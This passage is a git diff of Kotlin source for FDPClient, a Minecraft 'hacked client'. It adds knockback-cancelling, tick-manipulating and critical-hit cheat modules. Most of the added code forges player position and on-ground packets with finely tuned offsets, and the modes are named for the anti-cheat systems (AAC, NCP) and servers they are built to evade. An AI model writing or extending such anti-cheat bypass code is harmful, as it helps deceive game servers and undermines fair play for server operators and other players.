box2.distanceTo(afterEyes) + if (!working && reverseValue.get()) { + if (range <= maxReverseRange.get() && range >= minReverseRange.get() && cooldown <= 0 && entity.hurtTime <= reverseTargetMaxHurtTime.get()) { + freezeTicks = reverseTime.get() + firstAnimation = false + reverseFreeze = true + return + } + } + if (range < minDistance.get()) { + targetInRange = true + break + } else if (range <= maxDistance.get() && afterRange < range && entity.hurtTime <= maxHurtTimeValue.get()) { + targetFound = true + } + nearest = min(nearest, range) + } + if (targetInRange) { + stopWorking = true + } else if (targetFound && nearest < lastNearest) { + stopWorking = false + foundTarget() + } + lastNearest = nearest + } else { + lastNearest = 10.0 + } + } + } + + private fun foundTarget() { + if (cooldown > 0 || freezeTicks != 0 || maxTimeValue.get() == 0) return + cooldown = delayValue.get() + working = true + freezeTicks = 0 + if (betterAnimation.get()) firstAnimation = false + while (freezeTicks <= maxTimeValue.get() - (if (auraClick.get()) 1 else 0) && !stopWorking) { + ++freezeTicks + mc.runTick() + } + if (debug.get()) ClientUtils.displayChatMessage("Timer-ed") + if (auraClick.get()) { + killAura?.clicks = killAura!!.clicks + 1 + ++freezeTicks + mc.runTick() + if (debug.get()) ClientUtils.displayChatMessage("Clicked") + } + stopWorking = false + working = false + } + + @JvmStatic + fun handleTick(): Boolean { + if (working || freezeTicks < 0) return true + if (state && freezeTicks > 0) { + --freezeTicks + return true + } + if (reverseFreeze) { + reverseFreeze = false + var time = reverseTickTime.get() + working = true + if (reverseAuraClick .get() === "BeforeTimer") killAura?.clicks = killAura!!.clicks + 1 + while (time > 0) { + --time + mc.runTick() + } + working = false + cooldown = reverseDelay.get() + if (reverseAuraClick .get() == "AfterTimer") killAura?.clicks = killAura!!.clicks + 1 + } + if (cooldown > 0) --cooldown + return false + } + + @JvmStatic + fun freezeAnimation(): Boolean { + if (freezeTicks != 0) { + if (!firstAnimation) { + firstAnimation = true + return false + } + return true + } + return false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Velocity.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Velocity.kt new file mode 100644 index 0000000..74fa267 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Velocity.kt @@ -0,0 +1,207 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.combat.velocitys.VelocityMode +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.network.play.server.S12PacketEntityVelocity +import kotlin.math.cos +import kotlin.math.sin +import kotlin.math.sqrt + +@ModuleInfo(name = "Velocity", category = ModuleCategory.COMBAT) +object Velocity : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.velocitys", VelocityMode::class.java) + .map { it.newInstance() as VelocityMode } + .sortedBy { it.modeName } + + private val mode: VelocityMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "Cancel") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + val debug = BoolValue("Debug",false) + val horizontalValue = FloatValue("Horizontal", 0f, -2f, 2f).displayable { modeValue.equals("Simple") || modeValue.equals("Tick") } + val verticalValue = FloatValue("Vertical", 0f, -2f, 2f).displayable { modeValue.equals("Simple") || modeValue.equals("Tick") } + val chanceValue = IntegerValue("Chance", 100, 0, 100).displayable { modeValue.equals("Simple") } + val velocityTickValue = IntegerValue("VelocityTick", 1, 0, 10).displayable { modeValue.equals("Tick") || modeValue.equals("OldSpartan")} + val onlyGroundValue = BoolValue("OnlyGround", false) + val onlyCombatValue = BoolValue("OnlyCombat", false) + // private val onlyHitVelocityValue = BoolValue("OnlyHitVelocity",false) + private val noFireValue = BoolValue("noFire", false) + + private val overrideDirectionValue = ListValue("OverrideDirection", arrayOf("None", "Hard", "Offset"), "None") + private val overrideDirectionYawValue = FloatValue("OverrideDirectionYaw", 0F, -180F, 180F) + .displayable { !overrideDirectionValue.equals("None") } + + val velocityTimer = MSTimer() + var wasTimer = false + var velocityInput = false + var velocityTick = 0 + + var antiDesync = false + + var needReset = true + + override fun onEnable() { + antiDesync = false + needReset = true + mode.onEnable() + } + + override fun onDisable() { + antiDesync = false + mc.thePlayer.capabilities.isFlying = false + mc.thePlayer.capabilities.flySpeed = 0.05f + mc.thePlayer.noClip = false + + mc.timer.timerSpeed = 1F + mc.thePlayer.speedInAir = 0.02F + + mode.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + mode.onUpdate(event) + if (wasTimer) { + mc.timer.timerSpeed = 1f + wasTimer = false + } + if(velocityInput) { + velocityTick++ + }else velocityTick = 0 + + if (mc.thePlayer.isInWater || mc.thePlayer.isInLava || mc.thePlayer.isInWeb) { + return + } + + if ((onlyGroundValue.get() && !mc.thePlayer.onGround) || (onlyCombatValue.get() && !FDPClient.combatManager.inCombat)) { + return + } + if (noFireValue.get() && mc.thePlayer.isBurning) return + mode.onVelocity(event) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + mode.onMotion(event) + } + + @EventTarget + fun onAttack(event: AttackEvent) { + mode.onAttack(event) + } + + @EventTarget + fun onStrafe(event: StrafeEvent){ + mode.onStrafe(event) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + mode.onPacket(event) + if ((onlyGroundValue.get() && !mc.thePlayer.onGround) || (onlyCombatValue.get() && !FDPClient.combatManager.inCombat)) { + return + } + + val packet = event.packet + if (packet is S12PacketEntityVelocity) { + if (mc.thePlayer == null || (mc.theWorld?.getEntityByID(packet.entityID) ?: return) != mc.thePlayer) { + return + } + // if(onlyHitVelocityValue.get() && packet.getMotionY()<400.0) return + if (noFireValue.get() && mc.thePlayer.isBurning) return + velocityTimer.reset() + velocityTick = 0 + + if (!overrideDirectionValue.equals("None")) { + val yaw = Math.toRadians( + if (overrideDirectionValue.get() == "Hard") { + overrideDirectionYawValue.get() + } else { + mc.thePlayer.rotationYaw + overrideDirectionYawValue.get() + 90 + }.toDouble() + ) + val dist = sqrt((packet.motionX * packet.motionX + packet.motionZ * packet.motionZ).toDouble()) + val x = cos(yaw) * dist + val z = sin(yaw) * dist + packet.motionX = x.toInt() + packet.motionZ = z.toInt() + } + + mode.onVelocityPacket(event) + } + + } + + @EventTarget + fun onWorld(event: WorldEvent) { + mode.onWorld(event) + } + + @EventTarget + fun onMove(event: MoveEvent) { + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + } + + @EventTarget + fun onStep(event: StepEvent) { + mode.onStep(event) + } + + @EventTarget + fun onTick(event: TickEvent) { + mode.onTick(event) + } + override val tag: String + get() = if (modeValue.get() == "Simple") + "${(horizontalValue.get() * 100).toInt()}% ${(verticalValue.get() * 100).toInt()}% ${chanceValue.get()}%" + else + modeValue.get() + + /** + * 读取mode中的value并和本体中的value合并 + * 所有的value必须在这个之前初始化 + */ + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/CriticalMode.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/CriticalMode.kt new file mode 100644 index 0000000..01c8529 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/CriticalMode.kt @@ -0,0 +1,31 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.modules.combat.Criticals +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.features.value.Value + +abstract class CriticalMode(val modeName: String) : MinecraftInstance() { + protected val valuePrefix = "$modeName-" + + protected val critical: Criticals + get() = FDPClient.moduleManager[Criticals::class.java]!! + + open val values: List<Value<*>> + get() = ClassUtils.getValues(this.javaClass, this) + + open fun onEnable() {} + open fun onDisable() {} + + open fun onUpdate(event: UpdateEvent) {} + open fun onPreMotion(event: MotionEvent) {} + open fun onAttack(event: AttackEvent) {} + open fun onMotion(event: MotionEvent) {} + open fun onPacket(event: PacketEvent) {} + open fun onMove(event: MoveEvent) {} + open fun onBlockBB(event: BlockBBEvent) {} + open fun onJump(event: JumpEvent) {} + open fun onStep(event: StepEvent) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC431OldHYTCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC431OldHYTCritical.kt new file mode 100644 index 0000000..b462728 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC431OldHYTCritical.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.aac + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class AAC431OldHYTCritical : CriticalMode("AAC4.3.1OldHYT") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.042487, ground = false) + critical.sendCriticalPacket(yOffset = 0.0104649713461000007, ground = false) + critical.sendCriticalPacket(yOffset = 0.0014749900000101, ground = false) + critical.sendCriticalPacket(yOffset = 0.0000007451816400000, ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC504Critical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC504Critical.kt new file mode 100644 index 0000000..70f13d8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC504Critical.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.aac + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class AAC504Critical : CriticalMode("AAC5.0.4") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.00133545, ground = false) + critical.sendCriticalPacket(yOffset = -0.000000433, ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC5PacketCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC5PacketCritical.kt new file mode 100644 index 0000000..38d2fa9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AAC5PacketCritical.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.aac + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class AAC5PacketCritical : CriticalMode("AAC5Packet") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.0625, ground = false) + critical.sendCriticalPacket(yOffset = 0.0433, ground = false) + critical.sendCriticalPacket(yOffset = 0.2088, ground = false) + critical.sendCriticalPacket(yOffset = 0.9963, ground = false) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AACPacketCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AACPacketCritical.kt new file mode 100644 index 0000000..885a910 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/aac/AACPacketCritical.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.aac + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class AACPacketCritical : CriticalMode("AACPacket") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.05250000001304, ground = false) + critical.sendCriticalPacket(yOffset = 0.00150000001304, ground = false) + critical.sendCriticalPacket(yOffset = 0.01400000001304, ground = false) + critical.sendCriticalPacket(yOffset = 0.00150000001304, ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/MiPacketCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/MiPacketCritical.kt new file mode 100644 index 0000000..00557dd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/MiPacketCritical.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.ncp + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class MiPacketCritical : CriticalMode("MiPacket") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.0625, ground = false) + critical.sendCriticalPacket(ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPLatest.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPLatest.kt new file mode 100644 index 0000000..f4c839e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPLatest.kt @@ -0,0 +1,18 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.ncp + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +// By Koitoyuu - 230303 +class NCPLatestCritical : CriticalMode("NCPLatest") { + private var attacked = 0 + override fun onAttack(event: AttackEvent) { + attacked ++ + if (attacked >= 5) { + critical.sendCriticalPacket(yOffset = 0.00001058293536, ground = false) + critical.sendCriticalPacket(yOffset = 0.00000916580235, ground = false) + critical.sendCriticalPacket(yOffset = 0.00000010371854, ground = false) + attacked = 0 + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPMotionCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPMotionCritical.kt new file mode 100644 index 0000000..9ee4f70 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPMotionCritical.kt @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.ncp + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class NCPMotionCritical : CriticalMode("NCPMotion") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.42, ground = false) + critical.sendCriticalPacket(yOffset = 0.222, ground = false) + critical.sendCriticalPacket(yOffset = 0.0, ground = true) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPPacketCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPPacketCritical.kt new file mode 100644 index 0000000..15d5216 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/NCPPacketCritical.kt @@ -0,0 +1,12 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.ncp + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class NCPPacketCritical : CriticalMode("NCPPacket") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.11, ground = false) + critical.sendCriticalPacket(yOffset = 0.1100013579, ground = false) + critical.sendCriticalPacket(yOffset = 0.0000013579, ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/OtherNCPPacketCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/OtherNCPPacketCritical.kt new file mode 100644 index 0000000..22817d0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/ncp/OtherNCPPacketCritical.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.ncp + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class OtherNCPPacketCritical : CriticalMode("OtherNCPPacket") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.11, ground = true) + critical.sendCriticalPacket(ground = false) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/FakeCollideCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/FakeCollideCritical.kt new file mode 100644 index 0000000..407625d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/FakeCollideCritical.kt @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.minecraft.stats.StatList + +class FakeCollideCritical : CriticalMode("FakeCollide") { + override fun onAttack(event: AttackEvent) { + val motionX: Double + val motionZ: Double + if (MovementUtils.isMoving()) { + motionX = mc.thePlayer.motionX + motionZ = mc.thePlayer.motionZ + } else { + motionX = 0.00 + motionZ = 0.00 + } + mc.thePlayer.triggerAchievement(StatList.jumpStat) + critical.sendCriticalPacket( + xOffset = motionX / 3, + yOffset = 0.20000004768372, + zOffset = motionZ / 3, + ground = false + ) + critical.sendCriticalPacket( + xOffset = motionX / 1.5, + yOffset = 0.12160004615784, + zOffset = motionZ / 1.5, + ground = false + ) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/HoverCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/HoverCritical.kt new file mode 100644 index 0000000..3d1d3ce --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/HoverCritical.kt @@ -0,0 +1,173 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.network.play.server.S08PacketPlayerPosLook + +class Hover : CriticalMode("Hover") { + private val hoverValue = ListValue( + "HoverMode", + arrayOf("AAC4", "AAC4Other", + "OldRedesky", + "Normal1", "Normal2", "Minis", "Minis2", "TPCollide", + "2b2t"), + "AAC4") + + private val hoverNoFall = BoolValue("Hover-NoFall", true) + private val hoverCombat = BoolValue("Hover-OnlyCombat", true) + private var jState = 0 + private var aacLastState = false + override fun onEnable() { + jState = 0 + } + + override fun onPacket(event: PacketEvent) { + val packet = event.packet + if(packet is S08PacketPlayerPosLook) { + if (critical.s08FlagValue.get()) { + jState = 0 + } + } + if(packet is C03PacketPlayer) { + if (hoverCombat.get() && !FDPClient.combatManager.inCombat) return + packet.isMoving = true + when (hoverValue.get().lowercase()) { + "2b2t" -> { + if (mc.thePlayer.onGround) { + packet.onGround = false + jState++ + when (jState) { + 2 -> packet.y += 0.02 + 3 -> packet.y += 0.01 + 4 -> { + if (hoverNoFall.get()) packet.onGround = true + jState = 1 + } + else -> jState = 1 + } + } else jState = 0 + } + "minis2" -> { + if (mc.thePlayer.onGround && !aacLastState) { + packet.onGround = mc.thePlayer.onGround + aacLastState = mc.thePlayer.onGround + return + } + aacLastState = mc.thePlayer.onGround + if (mc.thePlayer.onGround) { + packet.onGround = false + jState++ + if (jState % 2 == 0) { + packet.y += 0.015625 + } else if (jState > 100) { + if (hoverNoFall.get()) packet.onGround = true + jState = 1 + } + } else jState = 0 + } + "tpcollide" -> { + if (mc.thePlayer.onGround) { + packet.onGround = false + jState++ + when (jState) { + 2 -> packet.y += 0.20000004768372 + 3 -> packet.y += 0.12160004615784 + 4 -> { + if (hoverNoFall.get()) packet.onGround = true + jState = 1 + } + else -> jState = 1 + } + } else jState = 0 + } + "minis" -> { + if (mc.thePlayer.onGround && !aacLastState) { + packet.onGround = mc.thePlayer.onGround + aacLastState = mc.thePlayer.onGround + return + } + aacLastState = mc.thePlayer.onGround + if (mc.thePlayer.onGround) { + packet.onGround = false + jState++ + if (jState % 2 == 0) { + packet.y += 0.0625 + } else if (jState > 50) { + if (hoverNoFall.get()) packet.onGround = true + jState = 1 + } + } else jState = 0 + } + "normal1" -> { + if (mc.thePlayer.onGround) { + if (!(hoverNoFall.get() && jState == 0)) packet.onGround = false + jState++ + when (jState) { + 2 -> packet.y += 0.001335979112147 + 3 -> packet.y += 0.0000000131132 + 4 -> packet.y += 0.0000000194788 + 5 -> packet.y += 0.00000000001304 + 6 -> { + if (hoverNoFall.get()) packet.onGround = true + jState = 1 + } + else -> jState = 1 + } + } else jState = 0 + } + "aac4other" -> { + if (mc.thePlayer.onGround && !aacLastState && hoverNoFall.get()) { + packet.onGround = mc.thePlayer.onGround + aacLastState = mc.thePlayer.onGround + packet.y += 0.00101 + return + } + aacLastState = mc.thePlayer.onGround + packet.y += 0.001 + if (mc.thePlayer.onGround || !hoverNoFall.get()) packet.onGround = false + } + "aac4" -> { + if (mc.thePlayer.onGround && !aacLastState && hoverNoFall.get()) { + packet.onGround = mc.thePlayer.onGround + aacLastState = mc.thePlayer.onGround + packet.y += 0.000000000000136 + return + } + aacLastState = mc.thePlayer.onGround + packet.y += 0.000000000000036 + if (mc.thePlayer.onGround || !hoverNoFall.get()) packet.onGround = false + } + "normal2" -> { + if (mc.thePlayer.onGround) { + if (!(hoverNoFall.get() && jState == 0)) packet.onGround = false + jState++ + when (jState) { + 2 -> packet.y += 0.00000000000667547 + 3 -> packet.y += 0.00000000000045413 + 4 -> packet.y += 0.000000000000036 + 5 -> { + if (hoverNoFall.get()) packet.onGround = true + jState = 1 + } + else -> jState = 1 + } + } else jState = 0 + } + "oldredesky" -> { + if (hoverNoFall.get() && mc.thePlayer.fallDistance > 0) { + packet.onGround = true + return + } + + if (mc.thePlayer.onGround) { + packet.onGround = false + } + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/MoreCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/MoreCritical.kt new file mode 100644 index 0000000..2ae4de6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/MoreCritical.kt @@ -0,0 +1,11 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class MoreCritical : CriticalMode("More") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.00000000001, ground = false) + critical.sendCriticalPacket(ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/MotionCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/MotionCritical.kt new file mode 100644 index 0000000..9d23616 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/MotionCritical.kt @@ -0,0 +1,42 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C03PacketPlayer + +class MotionCritical : CriticalMode("Motion") { + private val motionValue = + ListValue("MotionMode", arrayOf( + "RedeSkyLowHop", "Hop", + "Jump", "LowJump", + "MinemoraTest" + ), + "Jump") + override fun onAttack(event: AttackEvent) { + when (motionValue.get().lowercase()) { + "jump" -> mc.thePlayer.motionY = 0.41999998688698 + "lowjump" -> mc.thePlayer.motionY = 0.3425 + "redeskylowhop" -> mc.thePlayer.motionY = 0.35 + "hop" -> { + mc.thePlayer.motionY = 0.1 + mc.thePlayer.fallDistance = 0.1f + mc.thePlayer.onGround = false + } + "minemoratest" -> { + mc.timer.timerSpeed = 0.82f + mc.thePlayer.motionY = 0.124514 + } + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) { + when (motionValue.get().lowercase()) { + "minemoratest" -> if (!FDPClient.combatManager.inCombat) mc.timer.timerSpeed = 1.00f + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/NoGroundCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/NoGroundCritical.kt new file mode 100644 index 0000000..658045e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/NoGroundCritical.kt @@ -0,0 +1,46 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.minecraft.network.play.client.C03PacketPlayer + +class NoGroundCritical : CriticalMode("NoGround") { + private val autoJumpValue = BoolValue("${valuePrefix}AutoJump", false) + private val smartValue = BoolValue("${valuePrefix}Smart", true) + private val morePacketValue = BoolValue("${valuePrefix}MorePacket", false) + private val packetAmount = IntegerValue("${valuePrefix}PacketAmount", 2, 1, 5).displayable {morePacketValue.get()} + + private var shouldEdit = false + override fun onEnable() { + if (autoJumpValue.get()) { + mc.thePlayer.jump() + } + } + override fun onAttack(event: AttackEvent) { + if (morePacketValue.get()) { + repeat(packetAmount.get()) { + shouldEdit = true + critical.sendCriticalPacket(ground = false) + shouldEdit = true //make sure to modify one more C03 after attack. + } + } else { + shouldEdit = true + } + } + + override fun onPacket(event: PacketEvent) { + if(event.packet is C03PacketPlayer) { + if (smartValue.get()){ + if (shouldEdit) { + event.packet.onGround = false + shouldEdit = false + } + } else { + event.packet.onGround = false + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/PacketCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/PacketCritical.kt new file mode 100644 index 0000000..9d4becf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/PacketCritical.kt @@ -0,0 +1,13 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class PacketCritical : CriticalMode("Packet") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.0625, ground = true) + critical.sendCriticalPacket(ground = false) + critical.sendCriticalPacket(yOffset = 1.1E-5, ground = false) + critical.sendCriticalPacket(ground = false) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/PacketJumpCritical.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/PacketJumpCritical.kt new file mode 100644 index 0000000..09bfcd0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/criticals/normal/PacketJumpCritical.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat.criticals.normal + +import net.ccbluex.liquidbounce.event.AttackEvent +import net.ccbluex.liquidbounce.features.module.modules.combat.criticals.CriticalMode + +class PacketJumpCritical : CriticalMode("PacketJump") { + override fun onAttack(event: AttackEvent) { + critical.sendCriticalPacket(yOffset = 0.41999998688698, ground = false) + critical.sendCriticalPacket(yOffset = 0.7531999805212, ground = false) + critical.sendCriticalPacket(yOffset = 1.00133597911214, ground = false) + critical.sendCriticalPacket(yOffset = 1.16610926093821, ground = false) + critical.sendCriticalPacket(yOffset = 1.24918707874468, ground = false) + critical.sendCriticalPacket(yOffset = 1.1707870772188, ground = false) + 